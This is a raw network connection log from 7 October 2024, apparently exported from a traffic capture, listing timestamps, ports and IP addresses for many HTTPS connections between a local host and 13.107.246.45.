Oct 7, 2024 06:45:37.168618917 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.174973965 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.175329924 CEST	49787	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.175354958 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.175681114 CEST	49787	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.175688028 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.178154945 CEST	443	49788	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.178173065 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.178388119 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.178576946 CEST	49788	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.178601980 CEST	443	49788	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.178673983 CEST	49789	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.178718090 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.178996086 CEST	49788	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.179003000 CEST	443	49788	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.179106951 CEST	49789	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.179121017 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.179282904 CEST	49790	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.179296017 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.179627895 CEST	49790	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.179636955 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.273638964 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.273824930 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.273909092 CEST	49789	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.273969889 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.274033070 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.274059057 CEST	49789	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.274085045 CEST	49786	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.274104118 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.274132013 CEST	49789	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.274148941 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.274182081 CEST	49786	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.274202108 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.274213076 CEST	49786	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.274218082 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.276258945 CEST	443	49788	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.276266098 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.276475906 CEST	443	49788	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.276537895 CEST	49788	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.276598930 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.276649952 CEST	49787	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.276705027 CEST	49787	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.276725054 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.276735067 CEST	49787	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.276747942 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.277954102 CEST	49791	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.277985096 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.278039932 CEST	49791	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.278583050 CEST	49791	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.278605938 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.278628111 CEST	49788	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.278640985 CEST	443	49788	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.279068947 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.279243946 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.279309034 CEST	49790	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.279381990 CEST	49790	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.279381990 CEST	49790	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.279417992 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.279442072 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.280972004 CEST	49792	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.281084061 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.281166077 CEST	49792	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.282147884 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.282212973 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.282289028 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.283432961 CEST	49794	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.283452034 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.283535004 CEST	49794	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.283585072 CEST	49792	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.283616066 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.283663034 CEST	49794	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.283694029 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.284553051 CEST	49795	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.284584045 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.284645081 CEST	49795	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.284729004 CEST	49795	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.284739017 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.284743071 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.284764051 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.049021959 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.051403999 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.052874088 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.053236008 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.053323030 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.089324951 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.093136072 CEST	49795	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.093158960 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.095508099 CEST	49795	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.095515966 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.095787048 CEST	49791	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.095798969 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.096168995 CEST	49791	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.096174955 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.096368074 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.096389055 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.096721888 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.096734047 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.096904993 CEST	49792	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.096915007 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.097295046 CEST	49794	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.097309113 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.097316027 CEST	49792	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.097326994 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.097651958 CEST	49794	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.097664118 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.192468882 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.192468882 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.192668915 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.192675114 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.192737103 CEST	49791	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.192738056 CEST	49795	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.193202972 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.193279982 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.193303108 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.193353891 CEST	49792	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.193459034 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.193516016 CEST	49794	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.196989059 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.197043896 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.197096109 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.244946957 CEST	49795	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.244977951 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.245016098 CEST	49795	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.245026112 CEST	443	49795	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.251518011 CEST	49794	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.251518011 CEST	49794	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.251555920 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.251584053 CEST	443	49794	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.274051905 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.274051905 CEST	49793	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.274071932 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.274092913 CEST	443	49793	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.280086994 CEST	49791	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.280117989 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.280131102 CEST	49791	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.280137062 CEST	443	49791	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.284687996 CEST	49792	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.284722090 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.284737110 CEST	49792	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.284744024 CEST	443	49792	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.357100010 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.357211113 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.357294083 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.360886097 CEST	49797	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.360949993 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.361005068 CEST	49797	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.361259937 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.361290932 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.362873077 CEST	49797	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.362900019 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.367892027 CEST	49798	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.367903948 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.367959023 CEST	49798	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.368077993 CEST	49798	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.368092060 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.370558977 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.370588064 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.370660067 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.371119022 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.371134996 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.375060081 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.375143051 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:38.375216007 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.378698111 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:38.378730059 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.011719942 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.011939049 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.012321949 CEST	49797	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.012346983 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.012819052 CEST	49797	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.012825966 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.013062000 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.013106108 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.013395071 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.013411045 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.014348030 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.014621019 CEST	49798	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.014640093 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.014921904 CEST	49798	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.014929056 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.024940014 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.025412083 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.025438070 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.025904894 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.025917053 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.065114975 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.065821886 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.065884113 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.066396952 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.066414118 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.109997034 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.110040903 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.110146046 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.110193968 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.110277891 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.110331059 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.110470057 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.110507011 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.110536098 CEST	49799	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.110552073 CEST	443	49799	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.112427950 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.112504959 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.112565994 CEST	49797	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.112669945 CEST	49797	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.112700939 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.112716913 CEST	49797	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.112725973 CEST	443	49797	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.114033937 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.114072084 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.114147902 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.114286900 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.114293098 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.114974022 CEST	49802	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.114983082 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.115042925 CEST	49802	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.115187883 CEST	49802	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.115200996 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.115727901 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.115778923 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.115822077 CEST	49798	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.115927935 CEST	49798	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.115935087 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.115948915 CEST	49798	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.115953922 CEST	443	49798	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.118016958 CEST	49803	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.118113995 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.118357897 CEST	49803	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.118357897 CEST	49803	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.118484020 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.128320932 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.128356934 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.128408909 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.128412962 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.128458023 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.128629923 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.128664970 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.128694057 CEST	49796	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.128709078 CEST	443	49796	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.130743027 CEST	49804	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.130774975 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.130856991 CEST	49804	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.130997896 CEST	49804	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.131005049 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.168992043 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.169064045 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.169152021 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.169199944 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.169239998 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.169258118 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.169301987 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.169482946 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.169521093 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.169547081 CEST	49800	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.169562101 CEST	443	49800	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.172671080 CEST	49805	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.172717094 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.172910929 CEST	49805	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.173080921 CEST	49805	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.173089981 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.764940023 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.765611887 CEST	49802	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.765645027 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.766150951 CEST	49802	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.766182899 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.766819954 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.767200947 CEST	49803	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.767251015 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.767621994 CEST	49803	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.767635107 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.795305014 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.795655012 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.795681953 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.796026945 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.796040058 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.808532000 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.808836937 CEST	49804	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.808852911 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.809215069 CEST	49804	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.809218884 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.813620090 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.813891888 CEST	49805	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.813918114 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.814218044 CEST	49805	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.814223051 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.863254070 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.863425016 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.863533974 CEST	49803	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.863631010 CEST	49803	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.863631010 CEST	49803	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.863678932 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.863711119 CEST	443	49803	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.866722107 CEST	49806	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.866756916 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.866828918 CEST	49806	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.866956949 CEST	49806	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.866980076 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.867106915 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.867305040 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.867373943 CEST	49802	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.867439032 CEST	49802	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.867455959 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.867465019 CEST	49802	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.867470026 CEST	443	49802	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.869410992 CEST	49807	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.869443893 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.869520903 CEST	49807	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.869640112 CEST	49807	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.869653940 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.899215937 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.899281025 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.899337053 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.899347067 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.899429083 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.899485111 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.899550915 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.899557114 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.899566889 CEST	49801	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.899570942 CEST	443	49801	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.901479006 CEST	49808	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.901561975 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.901654005 CEST	49808	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.901774883 CEST	49808	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.901796103 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.911465883 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.911535978 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.911670923 CEST	49804	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.911843061 CEST	49804	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.911849976 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.911861897 CEST	49804	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.911865950 CEST	443	49804	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.913707972 CEST	49809	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.913775921 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.913862944 CEST	49809	443	192.168.2.8	13.107.246.45
